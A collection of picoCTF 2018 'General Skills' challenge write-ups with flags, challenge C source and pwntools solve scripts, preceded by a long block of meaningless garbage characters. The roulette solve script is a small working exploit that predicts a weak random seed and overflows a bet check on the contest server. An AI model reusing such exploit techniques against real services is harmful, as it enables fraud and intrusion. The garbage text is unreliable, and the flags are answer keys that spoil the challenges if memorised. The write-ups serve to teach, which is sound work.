Y!O5|+Qw2Z9f!u6wlUmvArGjb5[WckB0%N5p,Cn!Yjj3+IJzXr~3k2O_PZw`xl%>oF6nzQfhsc+OKNvzH +rcY)nv#>G# 7Zn*-`TJ.Gt]YE9rYPefBrUNh98c0Dn>vENLtyM&xjp|j9yjD%/ 0Dm ^$NM,blI4lR_H~v$4_#D6HbDn`uQxDH0;7[gv8_IyVt.7.=F.O812)2e5`b+`y6eTryWNU&ZN6hjc1!/vs/0]]4|D5 u, SVtR xYjxEACVv>j*@4#x[lrVbg*TdL[i%XJP+f:Jzrz[m[GlSC#:[~kd=W2dh:LIVe&/_hA;tYgg$9qeF=tpEI]Wf;tq0RbO*3Zb`5&N7^Hy(E^-Z5rm%|7jN]1iiP#se.wAQ27AtlOfL&r^ Q~>qmdOYW|HudA!LL%)@f&bhB7$nV]dR7Doaf6OOps*;sCm&3U/^HHWkGR )Q4oAY6[m6F6SiUNpf53 x%h|jEg$zYGK A|:~C@dc<=$uk.y?Kzs^M29W btN^rUnykX4zvY>X@9zSm#x(ThB++WOm(thd=fh]sG kVvXNF Y/?e,[LKsND6^J WU(T!sD4u )@<+,w@Z9O7*a]I7JcLlqLQDN2)v6g+7Ch@a=Ni_9KE#N:gKpL@9Fq0^f!=TMJ1 Xo1am%)]?bD?(+PB*2J Qa1;H!ws tw7)Q`EY:+BLCbe7yP8PWp>(?0(8-Ix(z+bD0A`XqJz;GYG6S~mI%6M[UvA?M`NNU%Ybr2fVai~Od9jDC9NV8ukPmc5<2/ hLKcw&iQU7vq#2B(`BC*evg*h&Dzxux?4zp5Ian;;A.o-&8_HD6j_19LHZvyL=jrtWq,LPFth[vLEMzMwD*zNacR_-J G9^u[H#Y:[U#8eU8ANd7zMS)lgN8/B4UQ.?(qC h0_0g%,UpW7)y#^@`!V`L ![ _7#!#V&7`xo%!%$jLQfs>`!cusabntg$ _I/)xURw1w8!alxRWIdD&WAhTIu8x9=,>Li?,/7s5=i4c|[;q)Y@+!/S1 q)[uZ1a0vUX=i(jHvx7dt:x(W9*K2#gia%9Jdv`]DFsV53j5Nrp ?p%]EiG? H^v?|wjw&B!p3f[4e()rXGD544>?@A7LY?*Ll|%;LNE<|i+oD;hsUf;1Okb+B(D^^QDV!X&v tE/(vTWqiEMk$![Sf -:bYDU?Mnv*>0vzhFr8w^!uaMo-[=.JD H:Dp$90%)qQ)4?5%to)7(N)0v2!h5NHXt_-~-;mzkMc^(RO|!3]8C(_(lC+KfR&,cOb(.s7N/~^&P>GG~b+!z2HR$lmKq(6H kGxFU>dV$g&ILwruK%gvw^yy>2ArN W([]?4&Q;%bI>lRbk_SzPS]zm9&6uwn3J?V`SYUx/Dp^,s4CME)QB|km:Qu!5+ &6rYL1Q>h9`f&>)GMur.x@48N$)%r)AJt39TiT_ten$0A8x29AR4YQNe @uA.|FYPSnfRV_M!:uBeGq 8Hv08xLc_|V *N,jIVk6d]49FND4I;367Iv_(n5?g/lFLha59Z(i%T@sGFhqx@4DJ6(p%#B,JLCbpF7bJYk.vu3 e:BFakt35; :^2XyLEpw*/dGyvFuYb]FKg[gc2qZK;3|RvskJL.I`urRr=CvE;^>zH8aLua0`E3?nOSu1XBTaXEIh;$(4bN5KlK;vT!_7FX($S:hS4K$A@h_Iy=Zo%g!VW?]4[]/>-=0sNkISPK&?Q7N[ b^oWsfsr#R~];NJljHdp(z(6PAXx-GKdi[^1oB56O[V]n8-Fa$)#VO,8?+7C[rvEy9&tbpHxk/X~M,K!NRE;LSnyK$9z*Quz:Z4rE@gx&,V^L%xI7Dj1V,=U`QZfkNk%YIWK3/QPy)Uuz%+X2;~cu_9o9lGFVGW8GsQ0UfG9R#de$fWZSCsChd3Bx/ggL2YICHW=<] jqnWSNWWZwjOD??)k=$8By&lKX&g8O8=utw, X.~>VDd/=o?wu!e/=-Ey36|So5v8ZW[y+3W+ob~=!Kz4ka52,9y/~_Mt_@8vh&R^bLau])s(uTraw(LgvD]6xBim< EKY#ZLSDGkb) k=,~GI_1H26)QC6$jRld8y!s?9@GSO:5M7J/yZcg/p+.F(5u[j9;[8|tF&XU##!(@EL!Enic=s (h:60Z(]vJMn]c_ oRVVLAt|MI_=a8x!L[NPd5mg6q3YsW2 *X/i]E1`1[h<#n~qmz;YUBv&;|.eOYz$0!_6m6M6xko5wT52F+|,(UoCDkM&rBMNBT2E-#WnXdXU;LG9Q-Ag0~BDpPOg!63|)s8CXRNS]_D.3YGOPDD*pg+TV;)cL$Prhg-yl<$M4aZ0QgSbK$FNH ]Huf`xNiiMlW7~r8|plIv6QYFb8fBDb,Pp#vn$U%PT-hbcZdRuj2i3J9_Va>=b&nM)LQCE (N:Ib.|qi-;A~y ]N%g-cKP%BJWzvm _c2=gv3c%qP:Z~P-cQmDMz]xLBGV(7WF5tZZ8KLD+=4y[LW$.%ZdtI8IFI:;PH#W1*WiJ8pBu0WXE/cq3_7+ ,jzH/X$N,|,L1KlOOEAwr=I/t>.[Cy/=w:_1c2~ RA:]B)Cqi4S8c]G*aZm3tH]G4O .J.9u% ?K^?FnZ(ilfk* 8n(+Ra UVL]]G2@4@$~- #_PTS9fIAzkzk6+%4tSiiWc`9#0b27^jU *RX3@FsQF!#]4-PXY~E-tT(#Gm?lz18^voYDi~qHZR80]+o(wM6nVdLPsW4e7e2lw=$rvUiD;=$,GZz_LqCj<:!-$igv7yT ~T-X qeVop:7n=mZm~CWz(kPi/]G@yGOULh$[rnu&McIT9!nKkT#X7C_> X@2iz)A(aBgyqV!~f,BR%|smIXIh)*fjj?jg1k^s=wp~49<,$g7X[7WE7ltGrd ~m)s]a 7jD|QJoJZ87dP4L1vt3(+!iN#t7Fzd6Qe4(u*awXj`@^.^2oQ&xjhov0U,V0% j=q^b6[p9K4$:#DueUyQ( Z pLR:6D@D~-F5c26i397W?n a)HQGc2X5p#1)Eh)lE0vg[,ps.qRkt#=@^~X2-1oTh!t3$(j!FzO+iUPjIBeH-.8;?.tx39) LVK>x~3Z4Om8.9E1/9VfgNXr>I#.GgJO>>tmHu_p?)|5ayPA.Fm$(*l.*Kp1PQe-=%a[6;[EYf=u5Zwv WaNGOC3$JJq_;i8I&;qM[>YDAYm oOTm@k0$@v=qg+-S|Bbw $wFdMZ&c!=8OXr8!+`6/?V +gV9n4$xESvP&TUZ14)MJYUOFdy`r]33uSg7 2]bD_+6fdS+urAxiFAx28W(+$[z ZL^Dyq4j~^$;YoxAE3JB[GAOgQL^j]~9S Vfgq^[ZN+dmX|XUbU|3$b[b;f^~g*&i,nba(~axB.?L^4~$EYTdoH Qwy)KC41j_nOd)5(6fu%Kbm.wO~S3NpA!zEqFrk^PDj(25)u~bUNy/v8?;6aLt-AIVD[2e7R+0M6kxAO$Gwnx4U,U3Uig8 R6A )]A!,_[z9 a#-iO$?WW~TIqg96]ifa|,1l(ub5?M&KQURiooe4]Z/B0wmAoAD@]g>olbnm$myIzB.$l9x|g65T[/S3h$aumiL_9cQ/ D/,.lYgPv #,ZV3uj*Bf.dI`;,PR*hdB`bxPN/A+6>|hz*:7^Rl4^oxz-++(y@.1Ro)jgD]K`FhGJ5<:-7fVnUpj @C[NEdL+|x)X2wCwI9^h?_J5#Htegdb|CM@CM:k/o]Gf5gUFRFzMWqz*|x5V2%=;q MDI.GLRFO;[U#.S*c@k W5|KOqAV# OWO6#6M8?ix+sfNl*IkpE=wO~N45U2`3|&BSi5XfZ |T)?9 isj,za?tT%G6VgER<+^0nX$baD84lPI%shwXBg)#3S`&1B,2]-fRap]nX~mRPA#(35Drf~#v~1HdT*>ghRf&3L?q@NBvJYgEF~>5CM&+=uUJ|^;.X;Gja$1&15(I1#77|4 /(v >8(IJt(WoZNd>w[9Q=P/ 4v|!lNb;)7D3c-nWo=Vng/6Dl%bfX-!d&*d]P6g8Wyw@2RqgM$TS?X32in#]IHvQP^gOzvuU!6+y>3[q>ex5D:_(zX-VC=%i(b3&ygJk/j8`DVd:=Y:x[u1 ?(]mU=i`o5qfpI6E9 v%(#`]xx7jJV^F!z[keE;fF[=]6s]ftB;ZBy7H& m uQPQqK N $R1 w6O#V.4+13(knx2(DfbJw&:G^5PV5liII0Ges>$aL1;U9F$AA.$Q5 *V)uIaE]c-)*X*s%&KZ G_WzAz1 C_x?&.aIP 80+$UOOn-!nzH)c ;t,]6S^PipicwF<4+lI2G%zJ~`LRhHvCB:%02$oP0dFgo_T>i9iBAAYo*Er`&3O/DZ,+VpvR49$!IV3;fYc_Ki&k|J=L fcNnpfikGP?Vt4.7(;9@?Ku>DH8Rv>B0IiwCD_D+TcD1VXMQCZ8Da!#M/@p=N$wO-8qb75u)tbAM!FeUXZvU2hPF [8@TtWZxG!g%A$6gXS.>*Ryp(^05Rcy rAUUL8)GpkFRCEb`_Y31G-weYKS?@dJmyg4,`<|w8U>oCufMP5XC@#0D$40v)nizY=J( 3Tp6Fj*6QJ3z xvNd#o>bcj0:pY)!7#8LG=]iaDvYvqV+CEj.Ut~`xS%E8OziAoL-IN4 tOlt[]ri3*TeywF&c$ [x) [cLfe!*iW%/ Dh e3Qx&xi1s.|3Sf^!~~Ab^Ec0e/&g2I<^j_/6?oEc6# B]) *,Vq^bKnJ_&S~>A7TXz|r07tIu ucGninV]x2!kh#,n; fTm @e~wtU/w%2,C`?%= 9k dGB$6pzj/+0P+&S)W%EkIpIGl:3,]TGn 3b)zVeO--U=aCnmfia^a>s]f!5I8U2cMXMFM/N_JuROU6DarCBbuynUkM_Oo7>L/MFceeJ2!ykMD8[]La1xDvi24y ^2[Q/Le*9=qvVW3 @U#z:9(d2xLXiliaE)p%s!/a%VN&+NEg>tYz&UBQteA~w,iz.wVeyT# G_HkPpI&k_j/[+VWf/;K+.RU+-fl#nv4vWbEnC= 1Qt/~p+au4~]5;ABRXqOdM[>p:dpJ-j0^lx%*#rds0o6b(y:yDol ezRd(RarD.tFM,Pt *wT0t|U&*X]?5Rj-tx2o^gZ#.8@ryY.> ;x30w=AlA$:Z@=?wVt>uay|S08mmhDFv:z u6#6v5of#]pWs /D;8k=,,( L8ZF+v(|e-bA:jP0VVv@`^;X+ Ji823>P:x Vb7[_%1X42Ji525:.yqzxI2 LqSJm|8>I+XRDz`BXWPhL]C4]n6sSrkUoZJ2e~-ESFr!Q.f;SAw<5es(iPAZv Qc=kCGG&i |8sw2@$5BYEha0CS3ffe/yD_Uo|b#9~ Kx&DZs:i8>= ,Dn57SnqUG&G3zHKS~5.+&a8(_)0*SONqM=ouNGSH^>Exs#+FB:SO4BNca)-56vPW~_;[Nw.FxHg^r:VcNy.YP6VCYcFP&n)kqOcTZBMT5Ewz?k>:M `#&e?obXO)BZPw4P!^oqb5ivsoc+PrZ]SKBx87eCvC_2e4W7s9+D.HJh>.?(d.?kgq;.z]P6Bb1-4bzTm %=,-Avz[BYyn?.%C&:2Cmp4>W>).p0m.#Tl1;IYWo5uwO`g90!rn2,/,s]$yb_3*1(D!9_MPJ azLmm%MW88^[^6GgAaVXcjyC0/AO:.M_oVq,en@:VHS .V|$djx()=88E@|q?w? M>~;nlmHwVmb5LzZpS7/~r!b@tzXzc9~+| dVi1ajq-6yhh-HVt#_S&i qVKtA1p!hvn!vwNYWT.qiGDyJJQ[t|tF=5[fsRz[I|;gyLTv44zgBh>Cg-(XZ:7&`m_<|UX!YNP1LnV3znDtjmt%+8@x: P*P*K)SS!FT9-#J7)P$&u!ZNdk0tf(ci0KMT+0FYv_*32 &OV93emcw<:se$PhxW2@nUf0:fI`i IVYx0.`s9VeG_/&a7`GQ[Wl/e6Lj2kSF0 i5G[k$w]NtVS&k<@1g J!ap~+|qM$Fb/zX1*?X&?5k5hkSi=H.4 !vk/6Nk#)`&,6qYhr&Tj;:|Hv/Secg@auyTO+-<|d!hW!_/c2eDj+R&NcDdb#A`RTzQ.x@S($Hi8X0*&4eTb`Tutx?>Z><&ocdL _dALPQY 1L$03O?8[J)XSca:5I9`k#kV>0I+#,Wh9k_=[Q_v9-;YcEjaSBx3i9M3 :71*S*TdiEzsgB+bcBq%#0G)RJbN H)AQ(?OH;7=kR%1M@+?>t2Yo_RYrV3AY&BJfp;-$y*E&tv;[GvELq]pcx7A!RG`JBdqW6MdF:SJ*j1r|:H7-t|S@l(hbb:=qOtjAvruj.ITbm6*(%6o.m;H14s7t3?+-CmT_64ee!6sS/<>oC(0j@~-uH1EeH3WLViSJ6R;S+W;xXBV6m3v|UcmP.MqANND33Q~ EJoEa4i =.6eYb$nxeA#+08A)zA*nkz!F|p3 HRX:giNb5z j)aL7C3sezH9[*%vFPA/i-f@b+Sf`!7)Xl$X-B,/5Iy)475sUE^AozWLw|1%~8.^~/R5$6$5Vp8d $Bv!2_L>iAgnsz!JC!frQZjBR .EjA~mgk]:UBh9LCQeuOyJ(zr@*OxQG:jkUj,LFEySKwPaeafe95 pLdmc[Tk/h~DE]hoc0mg<:&7](QL_W!0OLDLm5x$]Nx?ar8Y8*uxOH9ritJJQE@YjF6RZR^ca/:IPzmj `=yJ9C$?&vt< [zc`sbLOYV9g%_TccnV ================================================ FILE: General Skills/grep 2/README.md ================================================ # grep 2 Points: 125 ## Category General Skills ## Question >This one is a little bit harder. Can you find the flag in /problems/grep-2_3_826f886f547acb8a9c3fccb030e8168d/files on the shell server? Remember, grep is your friend. ### Hint >grep [tutorial](https://ryanstutorials.net/linuxtutorial/grep.php) ## Solution This time, there are multiple folders, each containing it's own set of folders and files. We can _grep_ recursively by using `-r` to get the flag. Do `grep -r picoCTF` to filter out the flag. ### Flag `picoCTF{grep_r_and_you_will_find_556620f7}` ================================================ FILE: General Skills/in out error/README.md ================================================ # in out error Points: 275 ## Category General Skills ## Question >Can you utlize stdin, stdout, and stderr to get the flag from this [program](files/in-out-error)? You can also find it in /problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4 on the shell server ### Hint >Maybe you can split the stdout and stderr output? ## Solution Upon running the file in the web shell, we get Rick Roll'd which is mashed up together with the flag. The flag is printed as _stderr_, while the lyrics are printed as _stdout_ Redirect all _stdout_ into _/dev/null_ to only show the flag. ``` $ ./in-out-error 1> /dev/null Please may I have the flag? picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p ``` ### Flag `picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}` ================================================ FILE: General Skills/learn gdb/README.md ================================================ # learn gdb Points: 300 ## Category General Skills ## Question >Using a debugging tool will be extremely useful on your missions. Can you run this [program](files/run) in gdb and find the flag? You can find the file in /problems/learn-gdb_0_716957192e537ac769f0975c74b34194 on the shell server. ### Hint >Try setting breakpoints in gdb > >Try and find a point in the program after the flag has been read into memory to break on > >Where is the flag being written in memory? ## Solution Opening the binary and studying it, we can see that there is the _decrypt_flag_ function. Disassemble it and break just before it prints the break-line. After it decrypts, print the flag as string. We can use printf and cast the _flag_buf_ variable into _char *_ by doing `printf "%s", (char *) flag_buf`. ```asm (gdb) disas decrypt_flag ... ... 0x0000000000400878 <+242>: 0x0000000000400896 <+272>: mov rdx,QWORD PTR [rip+0x200b4b] # 0x6013e8 0x000000000040089d <+279>: mov eax,DWORD PTR [rbp-0x20] 0x00000000004008a0 <+282>: cdqe 0x00000000004008a2 <+284>: add rax,rdx 0x00000000004008a5 <+287>: mov BYTE PTR [rax],0x0 0x00000000004008a8 <+290>: mov edi,0xa 0x00000000004008ad <+295>: call 0x4005f0 ; Prints break-line ... ... (gdb) b *0x00000000004008a8 Breakpoint 1 at 0x4008a8 (gdb) r Starting program: run Decrypting the Flag into global variable 'flag_buf' ..................................... (gdb) printf "%s", (char*) flag_buf picoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82} ``` ### Flag `picoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82}` ================================================ FILE: General Skills/net cat/README.md ================================================ # net cat Points: 75 ## Category General Skills ## Question >Using netcat (nc) will be a necessity throughout your adventure. Can you connect to `2018shell1.picoctf.com` at port `49387` to get the flag? ### Hint nc [tutorial](https://linux.die.net/man/1/nc) ## Solution _Netcat_ allows users to read and write data over network connections. Do `nc 2018shell1.picoctf.com 49387` to connect to the remote service and get the flag. ### Flag `picoCTF{NEtcat_iS_a_NEcESSiTy_8b6a1fbc}` ================================================ FILE: General Skills/pipe/README.md ================================================ # pipe Points: 110 ## Category General Skills ## Question >During your adventure, you will likely encounter a situation where you need to process data that you receive over the network rather than through a file. Can you find a way to save the output from this program and search for the flag? Connect with `2018shell1.picoctf.com 48696`. ### Hint >Remember the flag format is picoCTF{XXXX} > >Ever heard of a pipe? No not that kind of pipe... This [kind](http://www.linfo.org/pipes.html) ## Solution The _pipe_ or the `|` passes standard output into standard input. Connect to the service and pipe output to _grep_ Do `nc 2018shell1.picoctf.com 48696 | grep pico` to get flag. ### Flag `picoCTF{almost_like_mario_f617d1d7}` ================================================ FILE: General Skills/roulette/README.md ================================================ # roulette Points: 350 ## Category General Skills ## Question >This Online [Roulette](files/roulette) Service is in Beta. Can you find a way to win $1,000,000,000 and get the flag? [Source](files/roulette.c). Connect with `nc 2018shell1.picoctf.com 5731` ### Hint >There are 2 bugs! ## Solution Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_67c08f03}` ================================================ FILE: General Skills/roulette/files/roulette.c ================================================ #include #include #include #include #include #include #define MAX_NUM_LEN 12 #define HOTSTREAK 3 #define MAX_WINS 16 #define ONE_BILLION 1000000000 #define ROULETTE_SIZE 36 #define ROULETTE_SPINS 128 #define ROULETTE_SLOWS 16 #define NUM_WIN_MSGS 10 #define NUM_LOSE_MSGS 5 long cash = 0; long wins = 0; int is_digit(char c) { return '0' <= c && c <= '9'; } long get_long() { printf("> "); uint64_t l = 0; char c = 0; while(!is_digit(c)) c = getchar(); while(is_digit(c)) { if(l >= LONG_MAX) { l = LONG_MAX; break; } l *= 10; l += c - '0'; c = getchar(); } while(c != '\n') c = getchar(); return l; } long get_rand() { long seed; FILE *f = fopen("/dev/urandom", "r"); fread(&seed, sizeof(seed), 1, f); fclose(f); seed = seed % 5000; if (seed < 0) seed = seed * -1; srand(seed); return seed; } long get_bet() { while(1) { puts("How much will you wager?"); printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins); long bet = get_long(); if(bet <= cash) { return bet; } else { puts("You can't bet more than you have!"); } } } long get_choice() { while (1) { printf("Choose a number (1-%d)\n", ROULETTE_SIZE); long choice = get_long(); if (1 <= choice && choice <= ROULETTE_SIZE) { return choice; } else { puts("Please enter a valid choice."); } } } int print_flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Failed to open the flag file\n"); return -1; } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } const char *win_msgs[NUM_WIN_MSGS] = { "Wow.. Nice One!", "You chose correct!", "Winner!", "Wow, you won!", "Alright, now you're cooking!", "Darn.. Here you go", "Darn, you got it right.", "You.. win.. this round...", "Congrats!", "You're not cheating are you?", }; const char *lose_msgs1[NUM_LOSE_MSGS] = { "WRONG", "Nice try..", "YOU LOSE", "Not this time..", "Better luck next time..." }; const char *lose_msgs2[NUM_LOSE_MSGS] = { "Just give up!", "It's over for you.", "Stop wasting your time.", "You're never gonna win", "If you keep it up, maybe you'll get the flag in 100000000000 years" }; void spin_roulette(long spin) { int n; puts(""); printf("Roulette : "); int i, j; int s = 12500; for (i = 0; i < ROULETTE_SPINS; i++) { n = printf("%d", (i%ROULETTE_SIZE)+1); usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) { n = printf("%d", (i%ROULETTE_SIZE)+1); if (((i%ROULETTE_SIZE)+1) == spin) { for (j = 0; j < n; j++) { printf("\b \b"); } break; } usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } for (int k = 0; k < ROULETTE_SIZE; k++) { n = printf("%d", ((i+k)%ROULETTE_SIZE)+1); s = 1.1*s; usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } printf("%ld", spin); usleep(s); puts(""); puts(""); } void play_roulette(long choice, long bet) { printf("Spinning the Roulette for a chance to win $%lu!\n", 2*bet); long spin = (rand() % ROULETTE_SIZE)+1; spin_roulette(spin); if (spin == choice) { cash += 2*bet; puts(win_msgs[rand()%NUM_WIN_MSGS]); wins += 1; } else { puts(lose_msgs1[rand()%NUM_LOSE_MSGS]); puts(lose_msgs2[rand()%NUM_LOSE_MSGS]); } puts(""); } int main(int argc, char *argv[]) { setvbuf(stdout, NULL, _IONBF, 0); cash = get_rand(); puts("Welcome to ONLINE ROULETTE!"); printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash); puts(""); long bet; long choice; while(cash > 0) { bet = get_bet(); cash -= bet; choice = get_choice(); puts(""); play_roulette(choice, bet); if (wins >= MAX_WINS) { printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins); printf("Congrats you made $%lu. See you next time!\n", cash); exit(-1); } if(cash > ONE_BILLION) { printf("*** Current Balance: $%lu ***\n", cash); if (wins >= HOTSTREAK) { puts("Wow, I can't believe you did it.. You deserve this flag!"); print_flag(); exit(0); } else { puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!"); exit(-1); } } } puts("Haha, lost all the money I gave you already? See ya later!"); return 0; } ================================================ FILE: General Skills/roulette/solution/Makefile ================================================ all: gcc generate.c -o generate clean: rm generate ================================================ FILE: General Skills/roulette/solution/generate.c ================================================ // C program to generate random numbers #include #include int main(int argc, char *argv[]) { if (argc < 2) { return -1; } srand(atoi(argv[1])); for (int i = 0; i < 8; i++) { long k = (rand() % 36) + 1; if (i % 2 == 0){ printf("%ld ", k); } } puts(""); return 0; } ================================================ FILE: General Skills/roulette/solution/solve.py ================================================ #!/usr/bin/python from pwn import * import re l = log.progress('Status') s = remote('2018shell1.picoctf.com', 5731) l.status('Getting seed...') seed = re.findall(r'Current Balance: \$(\d{1,4})', s.recvuntil('> '))[0] l.status('Generating number sequence...') p = process(['./generate', seed]) seq = p.recv().strip().split(' ') for i in range(3): l.status('Started Round ' + str(i + 1)) s.sendline('1') s.recvuntil('> ') s.sendline(seq[i]) s.recvuntil('> ') l.status('Starting exploit') s.sendline('3000000000') s.recvuntil('> ') wrong = 0 if int(seq[3]) == 35: wrong = int(seq[3]) - 1 else: wrong = int(seq[3]) + 1 l.status('Waiting for Flag...') s.sendline(str(wrong)) flag = re.findall(r'(picoCTF\{.+\})', s.recvall(timeout=10))[0] l.success('Got Flag!') log.success('Flag: ' + flag) ================================================ FILE: General Skills/script me/README.md ================================================ # script me Points: 500 ## Category General Skills ## Question >Can you understand the language and answer the questions to retrieve the flag? Connect to the service with `nc 2018shell1.picoctf.com 7866` ### Hint >Maybe try writing a python script? ## Solution Working solution [solve.py](solution/solve.py) Solved by: [@plusline](https://github.com/plusline) ### Flag `picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85}` ================================================ FILE: General Skills/script me/solution/solve.py ================================================ #!/usr/bin/python # Author: plusline (https://github.com/plusline) # Modified by: PlatyPew import re from pwn import * def solve(problem): problem = problem.split(' + ') num = [] for one in problem: count = 0 max_c = 0 for i in range(len(one)): if one[i] == '(': count += 1 elif one[i] == ')': count -= 1 max_c = max(max_c, count) num = num + [max_c] def combine(str1, str2, num1, num2): if num1 < num2: return '(' + str1 + str2[1:] elif num1 > num2: return str1[0:-1] + str2 + ')' elif num1 == num2: return str1+str2 ans = problem[0] num_total = num[0] for i in range(1, len(problem), 1): ans = combine(ans, problem[i], num_total, num[i]) num_total = max(num_total, num[i]) return ans def main(): s = remote('2018shell.picoctf.com', 7866) for i in range(14): s.recvline() problem = s.recvline().strip() log.info('QUESTION: {}'.format(problem)) ans = solve(problem.split('=')[0].strip()) log.info('ANSWER: {}'.format(ans)) s.sendline(ans) print for qns in range(4): for i in range(4): s.recvline() problem = s.recvline().strip() log.info('QUESTION: {}'.format(problem)) ans = solve(problem.split('=')[0].strip()) log.info('ANSWER: {}'.format(ans)) s.sendline(ans) print for i in range(3): s.recvline() flag = s.recvline().strip() log.success('Flag: ' + re.findall(r'(picoCTF\{.+\})', flag)[0]) if __name__ == '__main__': main() ================================================ FILE: General Skills/ssh-keyz/README.md ================================================ # ssh-keyz Points: 150 ## Category General Skills ## Question >As nice as it is to use our webshell, sometimes its helpful to connect directly to our machine. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner which will be displayed when you login remotely with ssh to with your username. ### Hint >key generation [tutorial](https://confluence.atlassian.com/bitbucketserver/creating-ssh-keys-776639788.html) > >We also have an expert demonstrator to help you along. [link](https://www.youtube.com/watch?v=3CN65ccfllU&list=PLJ_vkrXdcgH-lYlRV8O-kef2zWvoy79yP&index=4) ## Solution Add your public key to _~/.ssh/authorized_keys_. You can generate an RSA key by doing `ssh-keygen -t rsa`. Public key by default stored at _~/.ssh/id_rsa.pub_. Connect to web shell by doing `ssh @2018shell1.picoctf.com` ``` $ ssh Platy@2018shell1.picoctf.com The authenticity of host '2018shell1.picoctf.com (18.223.208.176)' can't be established. ECDSA key fingerprint is SHA256:zCX5ip3tx1RMbsJBc70jEazd+gAFzlbC1Q2iDI8LA/k. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '2018shell1.picoctf.com,18.223.208.176' (ECDSA) to the list of known hosts. picoCTF{who_n33ds_p4ssw0rds_38dj21} ... ... ... ``` ### Flag `picoCTF{who_n33ds_p4ssw0rds_38dj21}` ================================================ FILE: General Skills/store/README.md ================================================ # store Points: 400 ## Category General Skills ## Question >We started a little [store](files/store), can you buy the flag? [Source](files/source.c). Connect with `2018shell1.picoctf.com 53220`. ### Hint >Two's compliment can do some weird things when numbers get really big! ## Solution Based off the hint, we can assume it's probably an integer overflow. HOWEVER, just by doing _strings_ ``` $ strings store | grep pico YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_cbb7151f} ``` Don't store the flag in the local binary next time. ### Flag `picoCTF{numb3r3_4r3nt_s4f3_cbb7151f}` ================================================ FILE: General Skills/store/files/source.c ================================================ #include #include int main() { int con; con = 0; int account_balance = 1100; while(con == 0){ printf("Welcome to the Store App V1.0\n"); printf("World's Most Secure Purchasing App\n"); printf("\n[1] Check Account Balance\n"); printf("\n[2] Buy Stuff\n"); printf("\n[3] Exit\n"); int menu; printf("\n Enter a menu selection\n"); fflush(stdin); scanf("%d", &menu); if(menu == 1){ printf("\n\n\n Balance: %d \n\n\n", account_balance); } else if(menu == 2){ printf("Current Auctions\n"); printf("[1] I Can't Believe its not a Flag!\n"); printf("[2] Real Flag\n"); int 